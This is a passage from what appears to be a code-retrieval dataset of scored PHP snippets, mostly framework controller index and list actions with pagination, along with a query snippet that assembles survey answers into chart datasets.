"0.66470236", "text": "public function listAction()\n {\n try {\n $cd = $this->currentFolder();\n return new ViewModel(array(\n 'currentFolder' => $cd,\n 'seperator' => $this->seperator,\n 'entries' => $this->directoryContent($this->getEntity(), $cd)\n ));\n } catch (\\Exception $e) {\n echo Json::encode(array(\n 'error' => $e->getCode()\n ));\n exit();\n }\n }", "title": "" }, { "docid": "59475f9f5ef859f09d1ee48e7e27d0ea", "score": "0.66406596", "text": "public function index()\n {\n return $this->showAll(SpeciesResource::collection(Species::get()));\n }", "title": "" }, { "docid": "3e9e7ace6967f2049a9e3a5287aa7bc1", "score": "0.6639121", "text": "public function index()\n {\n if ($ref = \\Request::get('getRef')) {\n return $this->getRef($ref);\n }\n\n $per_page = \\Request::get('perPage');\n $data = $this->repository->paginate($per_page);\n\n return $this->sendSuccess($data, __('api.success_list', ['name' => $this->name]));\n }", "title": "" }, { "docid": "aa0d5690d16cbfb9dc97e701071da2f2", "score": "0.6637484", "text": "public function listAction() {\n $imageService = $this->container->get(\"dft_foapi.image\");\n return $this->render('dftFoapiBundle:Common:data.json.twig', array(\n \"data\" => $imageService->fetchAll(\n $this->getAuthenticatedUserIdAndSubAccountIds()\n )\n )\n );\n }", "title": "" }, { "docid": "479fb582c4dbcbc65e4bb28c2bb3a697", "score": "0.66345435", "text": "public function list()\n {\n // and this sorting and paging logics must be in separate components\n // but for our case ... ))\n $sortTypes = ['author', 'email', 'done', 'author DESC', 'email DESC', 'done DESC'];\n $sort = input('sort', null);\n if ($sort && in_array($sort, $sortTypes)) {\n $sortSql = \" ORDER BY {$sort} \";\n } else {\n $sortSql = '';\n }\n $offset = (int) input('offset', 0);\n $offsetSql = \" LIMIT {$offset}, \" . static::PER_PAGE;\n $sql = '1 ' . $sortSql . $offsetSql;\n $todos = R::findAll('todo', $sql);\n $total = R::count('todo');\n\n //paging\n $next = false;\n $prev = false;\n\n if ($total > $offset + static::PER_PAGE) {\n $next = $offset + static::PER_PAGE;\n }\n\n if ($offset !== 0) {\n $prev = $offset - static::PER_PAGE;\n }\n\n //sorting\n $sortings = [];\n foreach (['author', 'email', 'done'] as $sortAttribute) {\n if (strpos($sort, $sortAttribute) !== false && $sort === $sortAttribute) {\n $sortings[$sortAttribute] = \"{$sortAttribute} DESC\";\n } else {\n $sortings[$sortAttribute] = $sortAttribute;\n }\n }\n\n return $this->render('list', compact('todos', 'next', 'prev', 'sortings', 'total'));\n }", "title": "" }, { "docid": "317c606a7e54f34736590f60393be790", "score": "0.662934", "text": "function index()\n\t{\n\t\t$this->items();\n\t}", "title": "" }, { "docid": "0ef8e5b1a7ba68c743bcff23cd0cf130", "score": "0.6628069", "text": "public function index()\n {\n return Resource::all();\n }", "title": "" }, { "docid": "fda26526263c4f32a26eb1c3721263e4", "score": "0.6623293", "text": "public function index()\n {\n $listings = $this->listing->latest()->paginate(50);\n\n return view('admin.listings.index', compact('listings'));\n }", "title": "" }, { "docid": "7c0e8a5f42c42d1c4f18968bb494ad0e", "score": "0.6621373", "text": "public function paginatedListAction() {\n return $this->getList();\n }", "title": "" }, { "docid": "0e1a46d9ea752b3e205c54aab701c4fd", "score": "0.6619698", "text": "public function listings() {\r\n $data = $this->model->getData();\r\n $this->template->data = $data;\r\n $this->set('general/list');\r\n }", "title": "" }, { "docid": "3e2ce9e0dce5419c500b0a60774b7605", "score": "0.6616485", "text": "public function index()\n {\n return $this->service->lists();\n }", "title": "" }, { "docid": "bca6e37ce935bd0d2b77093989d408cd", "score": "0.6612557", "text": "public function actionIndex()\n {\n $searchModel = new ListingSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "title": "" }, { "docid": "67562fbc2bb858bc588d4a91237cb673", "score": "0.6603778", "text": "function index() {\r\n\t\t// Getting the whole list\r\n\t\t$itemList = $this->model->find('all');\r\n\r\n\t\t$this->set('itemList', $itemList);\r\n\t}", "title": "" }, { "docid": "8ec8da14e071283716d59393a382ab24", "score": "0.65982807", "text": "public function listAction()\n {\n\t\t$identity = Zend_Auth::getInstance()->getIdentity();\n\t\n\t\t// if identity and user aren't the same identity, add an entry to the identityBoard (menu )\n\t\tif( $identity->id != $this->_user->id ){\n\t\t\tApplication_Model_Ui_Boards_IdentityBoard::getInstance()->addEntry(\n\t\t\t\tAnta_Core::getBase().\"/documents/\".$this->_user->cryptoId,\n\t\t\t\tI18n_Json::get( 'userDocumentList' ).' @ '.$this->_user->username , array( \n\t\t\t\t\t'class' => 'admin entry-selected'\n\t\t\t));\n\t\t\tApplication_Model_Ui_Boards_IdentityBoard::getInstance()->addEntry(\n\t\t\t\tAnta_Core::getBase().\"/gexf/entities/user/\".$this->_user->cryptoId,\n\t\t\t\tI18n_Json::get( 'gexf' ).' @ '.$this->_user->username , array( \n\t\t\t\t\t'class' => 'admin'\n\t\t\t));\n\n\t\t}\n\t\t$this->view->dock = new Application_Model_Ui_Docks_Dock();\n\t\t\n\t\t$this->view->dock->addCraft( new Application_Model_Ui_Crafts_Cargo( 'documents', I18n_Json::get( 'documentsList' ).\": \".$this->_user->username ) );\n\t\t\n\t\t$totalDocuments = Application_Model_DocumentsMapper::getNumberOfDocuments( $this->_user ); \n\t\t\n\t\t// no documents? send directly to upload, with a link, and stop this script\n\t\tif( $totalDocuments == 0 ){\n\t\t\t\n\t\t\t// draw nice upload link \"start uploading file!\" and welcome message as well\n\t\t\t$this->view->dock->documents->setHeader( new Ui_Crafts_Headers_Welcome( $this->_user ) );\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t// remove menu items\n\t\t\tUi_Board::getInstance( \"Documents\", array( 'user' => $this->_user ) )->removeItem(\n\t\t\t\t\"documents.import-tags\", \n\t\t\t\t\"documents.export-tags\",\n\t\t\t\t\"api.reset\"\n\t\t\t);\n\t\t\t\n\t\t\treturn $this->render( 'index');\n\t\t}\n\t\t\n\t\t// start listening to request filter, or default vars here\n\t\t// values and their validators\n\t\tDnst_Filter::start( array(\n\t\t\t\t\"offset\" => 0,\n\t\t\t\t\"limit\" => 100,\n\t\t\t\t\"order\" => array( \"mimetype DESC\" ),\n\t\t\t\t\"tags\"\t => array(),\n\t\t\t\t\"query\" => \"\",\n\t\t\t\t\"date_start\"=>\"\",\n\t\t\t\t\"date_end\" =>\"\"\n\t\t\t), array (\n\t\t\t\t\"order\" => new Dnst_Filter_Validator_Array( array(\n\t\t\t\t\t\"id_document DESC\", \"id_document ASC\",\n\t\t\t\t\t\"title ASC\", \"title DESC\", \"date ASC\", \"date DESC\",\"`ignore` DESC\", \"`ignore` ASC\",\n\t\t\t\t\t\"status ASC\", \"status DESC\",\n\t\t\t\t\t\"language ASC\", \"language DESC\", \"mimetype ASC\", \"mimetype DESC\",\n\t\t\t\t)),\n\t\t\t\t\"offset\" => new Dnst_Filter_Validator_Range( 0, 10000000 ),\n\t\t\t\t\"limit\" => new Dnst_Filter_Validator_Range( 1, 500 ),\n\t\t\t\t\"query\" => new Dnst_Filter_Validator_Pattern( 0, 100 )\n\t\t\t)\n\t\t);\n\t\t\n\t\tif( !Dnst_Filter::isValid() ){\n\t\t\t// if you set the filters properly, then these variables MUST be in place\n\t\t\tAnta_Core::setError(\"uhm..not valid string..\".Dnst_Filter::getErrors() );\n\t\t\treturn $this->render( 'index' );\n\t\t}\n\t\t// print_r( Dnst_Filter::read() );\n\t\t// get all the documents\n\t\t$documents = Application_Model_DocumentsMapper::select(\n\t\t\t$this->_user,\n\t\t\tDnst_Filter::read()\n\t\t);\n\t\t// send some variables to the view\n\t\t$this->view->totalItems = $documents->totalItems;\n\t\t$this->view->loadedItems = count( $documents->results );\n\t\t\n\t\t// query to group documents by month according to number of groups\n\t\t$stmt = Anta_Core::mysqli()->query(\"\n\t\t\tSELECT COUNT(*) as countable, DATE_FORMAT(date,'%d.%m.%Y') as simple_date FROM anta_{$this->_user->username}.`documents` GROUP BY (`simple_date`)\"\n\t\t);\n\t\t$timestamps = array();\n\t\twhile ( $row = $stmt->fetchObject() ){\n\t\t\t$timestamps[] =\tnew Ui_D3_Timeline_Point( \n\t\t\t\t$row->simple_date, \n\t\t\t\tarray( \n\t\t\t\t\t\"y\" => $row->countable,\n\t\t\t\t\t\"title\" => $row->simple_date .\" (\".$row->countable.\")\",\n\t\t\t\t\t\"href\" => $_SERVER['REFERRER_URI'].'?'.Dnst_Filter::setProperty( 'date_start', $row->simple_date )\n\t\t\t\t) \n\t\t\t);\t\n\t\t}\n\t\t\n\t\t// prepare headers\n\t\t$header = new Anta_Ui_Header_Documents();\n\t\t$header->user = $this->_user;\n\t\t$header->loadedItems = count( $documents->results );\n\t\t$header->totalItems = $documents->totalItems;\n\t\t$header->offset = Dnst_Filter::getProperty( \"offset\" );\n\t\t$header->limit = Dnst_Filter::getProperty( \"limit\" );\n\t\t$header->searchQuery = Dnst_Filter::getProperty( \"query\" );\n\t\t$header->setTimeline( new Ui_D3_Timeline( \n\t\t\t$timestamps, \"dd.mm.yy\", \n\t\t\tarray( \"width\"=>832, \"height\"=>40)\n\t\t));\n\t\t\n\t\t$this->view->dock->documents->setHeader( \n\t\t\t$header\n\t\t);\n\t\t\n\t\t\n\t\t\n\t\tforeach (array_keys( $documents->results ) as $k ){\n\t\t\t$this->view->dock->documents->addItem( new Anta_Ui_Item_Document( $documents->results[ $k ] ) );\n\t\t}\n\t\t\n\t\t$this->render( 'index' );\n\t\t\n }", "title": "" }, { "docid": "51ab41ffa64c6b6b7fbb813516203da1", "score": "0.6593938", "text": "public function index()\n {\n return PharmacyResource::collection($this->pharmacyRepoInstance->paginate(self::PER_PAGE, ['id', 'name', 'address']));\n }", "title": "" }, { "docid": "be3ed76ca60da4c3caa2d8528ae5c319", "score": "0.659177", "text": "public function actionIndex()\n {\n if(Yii::$app->user->can('admin')){\n $dataProvider = new ActiveDataProvider([\n 'query' => Resource::find()->where(['size'=>0]),\n ]);\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }\n else{\n $dataProvider = new ActiveDataProvider([\n 'query' => Resource::find(),\n ]);\n return $this->render('list', [\n 'dataProvider' => $dataProvider,\n ]);\n }\n\n\n }", "title": "" }, { "docid": "ccecdc5f92158721af216deee02beaf2", "score": "0.65850216", "text": "public function action_index() \n\t{\n\t\t$this->rest_output(array(\n\t\t\t'GET example!', \n\t\t));\n\t}", "title": "" }, { "docid": "c971fcbed7a0406b3764b8ecdb481920", "score": "0.6572927", "text": "protected function listAction()\r\n {\r\n $contentUid = $this->configurationManager->getContentObject()->data['uid'];\r\n $configuration = $this->configurationManager->getConfiguration(ConfigurationManagerInterface::CONFIGURATION_TYPE_FRAMEWORK);\r\n if (!isset($configuration['view']['pluginNamespace'])) {\r\n $configuration['view']['pluginNamespace'] = 'tx_ameosfilemanager_fe_filemanager';\r\n }\r\n\r\n $this->settings['columnsTable'] = explode(',', $this->settings['columnsTable']);\r\n $this->settings['actionDetail'] = explode(',', $this->settings['actionDetail']);\r\n $this->view->assign('settings', $this->settings);\r\n\r\n $args = $this->request->getArguments();\r\n $t = $this->fileRepository->findBySearchCriterias($args, $this->settings['startFolder'], $configuration['view']['pluginNamespace'], $this->settings['recursion']);\r\n $this->view->assign('files', $t);\r\n $this->view->assign('value', $args); \r\n $this->view->assign('content_uid', $contentUid);\r\n\r\n if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest'\r\n && $contentUid == GeneralUtility::_POST('ameos_filemanager_content')) {\r\n header('Content-Type: text/json; charset=utf8;');\r\n echo json_encode(['html' => $this->view->render()]);\r\n die();\r\n }\r\n }", "title": "" }, { "docid": "ef4fec830260d9dfb3f1e7e325eac9e0", "score": "0.6572855", "text": "public function actionList()\n {\n $products = new ActiveDataProvider([\n 'query' => Product::find(),\n 'pagination' => [\n 'pageSize' => 10\n ]\n ]);\n return $this->render('list', ['products' => $products]);\n }", "title": "" }, { "docid": "9500e1733deedb51878d2d909f31751a", "score": "0.65667915", "text": "public function actionList()\r\n {\r\n $objectClassId = $this->_input->filterSingle('object_class_id', XenForo_Input::STRING);\r\n $class = $this->_getClassOrError($objectClassId);\r\n\r\n $objectModel = $this->_getObjectModel();\r\n\r\n $objects = $objectModel->getObjects(array(\r\n 'object_class_id' => $objectClassId\r\n ));\r\n\r\n $viewParams = array(\r\n 'class' => $class,\r\n 'objects' => $objects\r\n );\r\n\r\n return $this->responseView('ThemeHouse_Objects_ViewAdmin_Object_List', 'object_list', $viewParams);\r\n }", "title": "" }, { "docid": "6b6ca26ff623891fbb04a6646a0e894c", "score": "0.6566177", "text": "public function index(Request $request)\n {\n $this->checkRole();\n\n //\tGet all records of the model and set default ordering\n $builder = $this->model('orderBy', $request->orderby ?: ((property_exists($this, 'list_order_by')) ? $this->list_order_by : 'name'), $request->order ?: ((property_exists($this, 'list_order')) ? $this->list_order : 'desc'));\n\n //\tRetrieve the fields which will be used in records table\n $fields = new RenderList($this->getFieldsForList());\n\n // Handle list search\n if ($request->has('s')) {\n $builder->where($this->list_search_on, 'LIKE', '%' . $request->s . '%');\n }\n\n // Handle list filtering\n if ($request->has('filter') && $request->has('set')) {\n $builder->where($request->filter, $request->set);\n }\n\n // Move $builder to $records with default paging of 40 p/p\n $records = $builder->paginate(40);\n\n //\tLoad the view\n return view('crud::templates.index', $this->parseViewData(compact('records', 'fields')));\n }", "title": "" }, { "docid": "22313e01879ad9cf6aefe5b6cf7eaac2", "score": "0.65648544", "text": "public function listeAction()\n {\n // des éléments de contrôle de la pagination pour plus d'informations\n Zend_View_Helper_PaginationControl::setDefaultViewPartial('controls.phtml');\n\n $mapper = new Application_Model_FilmMapper();\n $film = new Application_Model_Film();\n $film = $mapper->obtenirAllFilms();\n\n // Créons un paginateur pour cette requête\n $paginator = Zend_Paginator::factory($film);\n\n // Nous lisons le numéro de page depuis la requête. Si le paramètre n'est pas précisé\n // la valeur 1 sera utilisée par défaut\n $paginator->setCurrentPageNumber($this->_getParam('page', 1));\n\n // Assignons enfin l'objet Paginator à notre vue\n $this->view->paginator = $paginator;\n }", "title": "" }, { "docid": "ea842597a9d8fad1df58d74c6b12ab97", "score": "0.6560148", "text": "public function index()\n {\n $statuses = Status::all();\n $statuses->transformer = StatusCollection::class;\n return $this->showAll($statuses);\n }", "title": "" }, { "docid": "9854a8a0b5996147689b1cfb93901fba", "score": "0.65570813", "text": "public function index()\n {\n $entities = Entity::all();\n\n return view('actions.entity.read', compact('entities'));\n }", "title": "" }, { "docid": "6eadfe639301106d65142408b4536a7d", "score": "0.65397066", "text": "public function index()\n {\n return CentroResource::collection(Centro::paginate());\n }", "title": "" }, { "docid": "b1c6918b8a647032258b39902afb3198", "score": "0.6532946", "text": "public function index()\n {\n $this->initialiseRequest();\n $items = $this->queryRepository->all();\n if (!$items) {\n return $this->apiManager->respondNotFound('Items do not exist.');\n }\n $itemsResource = new Collection($items, $this->transformer);\n $processedItems = $this->fractalManager->createData($itemsResource)->toArray();\n return $this->apiManager->respond($processedItems);\n }", "title": "" }, { "docid": "47bc2129e22deb7b10f9cd1b3ca97140", "score": "0.65329", "text": "public function index()\n {\n\n if ($this->model->count() <> 0) {\n return $this->resource::collection($this->model);\n }\n return Response::json([\n 'error' => 'Record not found'\n ], 404);\n\n }", "title": "" }, { "docid": "b09ff22d2468ad0a34a73b6be1c564e7", "score": "0.6529856", "text": "public function index()\n {\n $questions = Question::pimp()->paginate();\n\n QuestionResource::collection($questions);\n\n return $this->sendResponse(compact('questions'));\n }", "title": "" }, { "docid": "289c02bb55888cea68db6bb293329f8b", "score": "0.65295684", "text": "public function listAction()\n {\n if (false === $this->admin->isGranted('LIST')) {\n throw new AccessDeniedException();\n }\n\n /** @var \\Symfony\\Component\\HttpFoundation\\Request $request */\n $request = $this->container->get('request_stack')->getCurrentRequest();\n\n /** @var \\Sonata\\MediaBundle\\Provider\\Pool $mediaPool */\n $mediaPool = $this->container->get('sonata.media.pool');\n\n $contexts = $mediaPool->getContexts();\n\n reset($contexts);\n $contextName = key($contexts);\n $datagrid = $this->admin->getDatagrid($request->get('context', $contextName));\n $datagrid->setValue('context', null, $this->admin->getPersistentParameter('context'));\n\n $formView = $datagrid->getForm()->createView();\n\n // set the theme for the current Admin Form\n $this->get('twig')->getExtension('form')->renderer->setTheme($formView, $this->admin->getFilterTheme());\n\n return $this->render(\n $this->admin->getTemplate('list'),\n array(\n 'action' => 'list',\n 'form' => $formView,\n 'datagrid' => $datagrid,\n 'csrf_token' => $this->getCsrfToken('sonata.batch'),\n )\n );\n }", "title": "" }, { "docid": "9541d55e53804985d6027f052d293580", "score": "0.652877", "text": "public function index()\n {\n return $this->render('index', [\n 'model' => $this->model,\n 'endpoints' => $this->getAvailableApiEndpoints(),\n 'groupsCount' => $this->model->getGroups()->count(),\n ]);\n }", "title": "" }, { "docid": "9541d55e53804985d6027f052d293580", "score": "0.652877", "text": "public function index()\n {\n return $this->render('index', [\n 'model' => $this->model,\n 'endpoints' => $this->getAvailableApiEndpoints(),\n 'groupsCount' => $this->model->getGroups()->count(),\n ]);\n }", "title": "" }, { "docid": "cc3607ce8a88164b64b1133094816f12", "score": "0.6522748", "text": "public function index()\n {\n $this->crud->hasAccessOrFail('list');\n\n $this->data['crud'] = $this->crud;\n $this->data['title'] = ucfirst(($this->chapter ? $this->chapter->name . ' --> ' : '') . $this->crud->entity_name_plural);\n\n // load the view from /resources/views/vendor/backpack/crud/ if it exists, otherwise load the one in the package\n return view($this->crud->getListView(), $this->data);\n }", "title": "" }, { "docid": "cdc6c11bca5c8d643c1f6a1a0d80d23d", "score": "0.65212315", "text": "public function indexAction()\r\n {\r\n $this->parseRequestForPager();\r\n\r\n $pager = $this->getPager();\r\n $form = $this->getFilterForm()->createView();\r\n\r\n $result = array(\r\n 'list' => $this->getList($pager),\r\n 'pager' => $this->getPagination($pager),\r\n 'filters' => $this->get('pizone_form')->formDataToArray($form)\r\n );\r\n\r\n $view = new View($result);\r\n return $this->handleView($view);\r\n }", "title": "" }, { "docid": "d06d606c40c9d56f52b80f958f43b5ce", "score": "0.65188295", "text": "public function index()\n\t{\n\t\t// will show list of Data\n\t}", "title": "" }, { "docid": "3f1eb8293a667a2878f4d80d96280084", "score": "0.6518673", "text": "public function index()\n {\n return BookResource::collection(Book::paginate(25));\n }", "title": "" }, { "docid": "d44d85e06d4eeb7940282586d59ecb10", "score": "0.65124106", "text": "public function index()\n {\n return UnitResource::collection(Unit::paginate(5));\n }", "title": "" }, { "docid": "81a94e8c32b6134de5e7342f4235e4ec", "score": "0.6507357", "text": "public function index()\n {\n\n // Get articles\n $chairs = Chair::paginate(15);\n\n // Return collection of articles as a resource\n return ChairResource::collection($chairs);\n\n }", "title": "" }, { "docid": "22fb95b3636c2f407abebe88d13d8888", "score": "0.6505021", "text": "public function index()\n {\n $authors = Author::all();\n return AuthorResource::collection($authors);\n }", "title": "" }, { "docid": "1071b7d841a42ebb958087fb23ea72c9", "score": "0.64993095", "text": "public function index()\n {\n //return $this->repository->all();\n return $this->service->showAll();\n }", "title": "" }, { "docid": "cad2135c8b884f5e32721aec5b9bea32", "score": "0.6497837", "text": "public function index()\n {\n return CategoryResource::collection(Category::paginate());\n }", "title": "" }, { "docid": "1a823c7469d426833399140a05c28243", "score": "0.64936584", "text": "public function listAction()\n\t{\n\t\t$asResponse = array();\n\t\t$client = new Zend_Http_Client($this->ssUri.'/list');\n\t\t$client->setParameterGet(array('bIsRest' => true));\n\t\t$client->setConfig(array('timeout' => 30));\n\t\t$ssResponse = $client->request('GET');\n\t\t\n\t\tif($ssResponse->isSuccessful())\n\t\t{\n\t\t\t$ssResponseBody = $ssResponse->getBody();\n\t\t\t$asResponse = Zend_Json_Decoder::decode($ssResponseBody,Zend_Json::TYPE_ARRAY);\n\t\t}\n\t\t$this->view->users = $asResponse;\n\t}", "title": "" }, { "docid": "516498e2faf9e3833f4a0c0889c0d1a6", "score": "0.64926285", "text": "public function index()\n {\n $this->authorize('index', Category::class);\n\n return CategoryResource::collection(Category::paginate(15));\n }", "title": "" }, { "docid": "baeb75c01b41d5a02e946acdd0870ae9", "score": "0.6491589", "text": "public function showBooksAction()\n {\n $result = $this->model->getBooks();\n // Get params of books and pagination\n $data = $result[0];\n $pagination_params = $result[1];\n\n $this->view->render('List of books', $data, $pagination_params);\n }", "title": "" }, { "docid": "7029a5ba2d86ddb638223bf9a830e61a", "score": "0.648616", "text": "public function actionIndex()\r\n {\r\n $dataProvider = $this->getIndex('api/books', 'app\\models\\Book');\r\n\r\n return $this->render('index', [\r\n 'dataProvider' => $dataProvider\r\n ]);\r\n }", "title": "" }, { "docid": "ad2789681d764a50f799c66b64e9e3f5", "score": "0.64843917", "text": "public function index()\n {\n $data = GuestResource::collection(\n $this->guest->paginate(request()->per_page)\n );\n\n if (! $data) {\n return response()->json([\n 'message' => 'Failed to retrieve resource'\n ], 400);\n }\n\n return $data;\n }", "title": "" }, { "docid": "64c5cb71d29bff854bd1d4c026363eb2", "score": "0.6484192", "text": "public function index()\n {\n $cust = Customers::paginate(20);\n return CustomersResource::collection($cust);\n }", "title": "" }, { "docid": "fc608464ab00efa2883cbaa1ca108cd1", "score": "0.6481522", "text": "public function index()\n {\n return $this->collection($this->repository->all());\n }", "title": "" }, { "docid": "c22119f1d6e05e764e700b1cf1e15c3a", "score": "0.648076", "text": "public function index()\n {\n // Get articles\n $trackings = Tracking::paginate(10);\n\n // Return\n return BackendResource::collection($trackings);\n }", "title": "" }, { "docid": "90f607a4b7e80fdd2bcd6f3ce3d9959e", "score": "0.6477766", "text": "public function index()\n {\n $perPage = request('perPage', 10);\n $products = Product::paginate($perPage);\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "59002099eafa8643a05ba19fcbd9fedd", "score": "0.6477562", "text": "public function index()\n {\n //\n $items = Item::orderBy('id')->paginate(10);\n \n return view('manage.item.items_list', compact('items'));\n \n }", "title": "" }, { "docid": "c8bce961d8c00f94db1cc45bb581d8eb", "score": "0.6476608", "text": "public function index()\n {\n $products = Product::all();\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "c1799a28a7e3f24be756df7e3d5ed18d", "score": "0.6474707", "text": "public function index()\n {\n $people = QueryBuilder::for(Person::class)\n ->defaultSort('created_at')\n ->allowedSorts([\n 'created_at'\n ])\n ->paginate(10)\n ->appends(request()->query());\n\n return PersonResource::collection($people);\n }", "title": "" }, { "docid": "974e723cf42c91c850116aa22b80f587", "score": "0.6472995", "text": "public function index()\n {\n //\n $parent_details = \\App\\ParentDetail::orderBy('id', 'desc')->paginate(10);\n return ParentDetailResource::collection($parent_details);\n }", "title": "" }, { "docid": "b6d79dbbd4bd8f24a2ee993dec416fde", "score": "0.64697886", "text": "public function index() {\n\t\t\t$datas=DAO::getAll($this->model);\n\t\t\techo $this->_getResponseFormatter()->get($datas);\n\t}", "title": "" }, { "docid": "85336711eddcf6c317cce3da86408817", "score": "0.6469765", "text": "public function actionList()\n {\n $users = User::find()\n ->orderBy('id')\n ->all();\n if (count($users)) {\n $separator = sprintf(self::LIST_FORMAT_SEP.PHP_EOL, str_repeat('-', 10), str_repeat('-', 22), str_repeat('-', 9), str_repeat('-', 32), str_repeat('-', 42));\n echo $separator;\n printf(self::LIST_FORMAT_HEADER.PHP_EOL, 'id', 'username', 'status', 'fullname', 'email');\n echo $separator;\n foreach ($users as $user) {\n printf(self::LIST_FORMAT_LINE.PHP_EOL, $user->id, $user->username, $this->statusMap[$user->status], $user->fullname, $user->email);\n }\n echo $separator;\n }\n return Controller::EXIT_CODE_NORMAL;\n }", "title": "" }, { "docid": "f9d8426baa3f2a5993b5c1f018099562", "score": "0.64684117", "text": "public function resources_index()\n\t{\n\t\t$init = new admin_model();\n\t\t$resources = $init->getAllResources()->getResultArray();\n\n\t\t$menus = $init->getAllMenu()->getResultArray();\n\t\t$this->data = ['menus' => $menus, 'resources' => $resources];\n\t\treturn view('admin' . DIRECTORY_SEPARATOR . 'resources' . DIRECTORY_SEPARATOR . 'index', $this->data);\n\t}", "title": "" }, { "docid": "b9a94eb6086245c9e4f089dc9aede055", "score": "0.64675385", "text": "public function index(Request $request)\n {\n $this->authorize('listing', [$this->authorizedModel]);\n\n return response(\n $this->obj->getAll(\n ($request->has('limit') ? $request->input('limit') : 0),\n ($request->has('sort') ? $request->input('sort') : 'id'),\n ($request->has('order') ? $request->input('order') : 'desc'),\n ($request->has('offset') ? $request->input('offset') : 0)\n )\n );\n }", "title": "" } ]
791ce7b54255f2bf9b9ab476b55e75c0
/$labels = DB::select('SELECT q.question FROM Questions q'); $test = DB::select('SELECT a.answer, a.created_by FROM Answers a where a.question_id in (select q.id from Questions q where q.survey_name = (select s.survey_name from Survey s)) '); $answersColl = collect($test); $groupedByOwner = $answersColl>groupBy('created_by')>implode('answer', ', '); return compact($labels, $answers); return $groupedByOwner;
[ { "docid": "c37adb35638e5157f26e1299056ac0b5", "score": "0.5266451", "text": "public function draw()\n\t{\n\t\t\n\t\t/*$survey = Survey::all();\n return view('survey', ['survey' => $survey, 'name' => 'test']);*/\n\t\t\n\t\t//db query to get all questions\n\t\t$labels = DB::select('SELECT `SQ`.`question`, `SQ`.`id` FROM `survey_questions` AS `SQ`');\n\n\t\t//db query to get all answers for a particular survey\n\t\t//$answersColl = collect(DB::select('SELECT `SA`.`answer`, `SA`.`survey_quest_id` FROM `survey_answers` AS `SA` where `SA`.`survey_quest_id` in (select `SQ`.`id` from `survey_questions` AS `SQ` where `SQ`.`survey_id` = (select `SU`.`id` from `survey` AS `SU`))'));\n\t\t\n\t\t$questColl = collect(DB::select('SELECT GROUP_CONCAT(`SQ`.`id`) AS `qid` FROM `survey_questions` AS `SQ` \nWHERE `SQ`.`survey_id` = (SELECT `SU`.`id` FROM `survey` AS `SU`)'));\n\n\t\t//Group answers by created_by column\n\t\t//$groupedByOwner = $answersColl->groupBy('`SQ`.`id`');\n\t\t//dd($questColl);\t\n\t\t\n\t\t$userColl = collect(DB::select('SELECT `id`,`name` from `users` where `role_id` != 1'));\n\t\t$labelsArr = $sgraphDataset = array();\n\t\tforeach($userColl as $ukey=>$value){\n\t\t\t$colourArr = array(\"rgba(179,181,198,0.2)\", \"rgba(134,194,75,0.2)\", \"rgba(0,255,0,0.2)\");\n\t\t\t$fillcolor = array(\"rgba(114,224,13,0.5)\",\"rgba(191,202,182,0.5)\",\"rgba(194,114,201,0.5)\");\n\t\t\t$highlight_fillcolor = array(\"rgba(114,224,13,1)\",\"rgba(191,202,182,1)\",\"rgba(194,114,201,1)\");\n\t\t\t$strokecolor = array(\"rgba(114,224,13,1)\",\"rgba(191,202,182,1)\",\"rgba(194,114,201,1)\");\n\t\t\t\n\t\t\t\n\t\t\tforeach ($labels as $k=> $lab) {\n\t\t\t\tarray_push($labelsArr, $lab->question);\n\t\t\t}\n\t\t\t\t\t\t\n\t\t\tforeach($questColl as $key=> $val){\t\t\t\t\n\t\t\t\t$answersColl = collect(DB::select('SELECT `SA`.`answer`, `SA`.`survey_quest_id` FROM `survey_answers` AS `SA` \n\tWHERE `SA`.`survey_quest_id` IN ('.$val->qid.') AND `SA`.`user_id` = '.$value->id.''));\n\t\t\t\t\n\t\t\t\tforeach($answersColl as $ans){\n\t\t\t\t\t$ansdata[] = $ans->answer;\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$sgraphDataset[] = array('label'=>$value->name,\n\t\t\t\t\t\t\t\t\t'backgroundColor'=>$colourArr[$ukey],\n\t\t\t\t\t\t\t\t\t'borderColor'=>\"rgba(179,181,198,1)\",\n\t\t\t\t\t\t\t\t\t'pointBackgroundColor'=>\"rgba(179,181,198,1)\",\n\t\t\t\t\t\t\t\t\t'pointBorderColor'=>\"#fff\",\n\t\t\t\t\t\t\t\t\t'pointHoverBackgroundColor'=>\"#fff\",\n\t\t\t\t\t\t\t\t\t'pointHoverBorderColor'=>\"rgba(179,181,198,1)\",\n\t\t\t\t\t\t\t\t\t'pointHighlightFill'=> $highlight_fillcolor[$ukey],\n\t\t\t\t\t\t\t\t\t'fillColor' => $fillcolor[$ukey],\n\t\t\t\t\t\t\t\t\t'strokeColor' => $strokecolor[$ukey],\n\t\t\t\t\t\t\t\t\t'data'=>$ansdata);\n\t\t\t\tunset($ansdata);\t\t\t\t\n\t\t\t}\n\t\t}\t\t\n\t\t//dd($sgraphDataset);\n\n\t\t$viewData = array('labels'=>$labelsArr, 'datasets'=>$sgraphDataset);\t\t\t\n\t\treturn view('survey', ['labels'=>$labelsArr, 'datasets'=>$sgraphDataset]);\n\t\t//return $viewData;\n\n\t}", "title": "" } ]
[ { "docid": "164077d9849d9319ac1907e2ea0257e6", "score": "0.65604174", "text": "function multiple_choice_report(){\n global $db;\n $stmt = $db->prepare(\"SELECT a.answer, COUNT(*) as count FROM survey_answers AS a JOIN survey_questions AS q ON q.id = a.question_id WHERE q.type = 'mc' GROUP BY answer\");\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "9718800c771f89c73f693616881dd5e9", "score": "0.63743764", "text": "public function getResultByCatagory(){\n $responses = \\App\\Response::select('name', DB::raw('cast(avg(weight) as decimal(2,1)) as score'))\n ->join('questions', 'questions.id', '=', 'responses.question_id')\n ->join('categorys', 'categorys.id', '=', 'questions.category_id')\n ->join('choices', 'choices.id', '=', 'responses.choice_id')\n ->where('user_id', $this->id)\n ->whereNotIn('categorys.id', [11])\n ->groupBy('name')\n ->get();\n\n return $responses;\n }", "title": "" }, { "docid": "aee1d9c06ab5738fa00d3537dff1f57d", "score": "0.62918174", "text": "function getQuestions()\n{\n return DB::query(\"SELECT 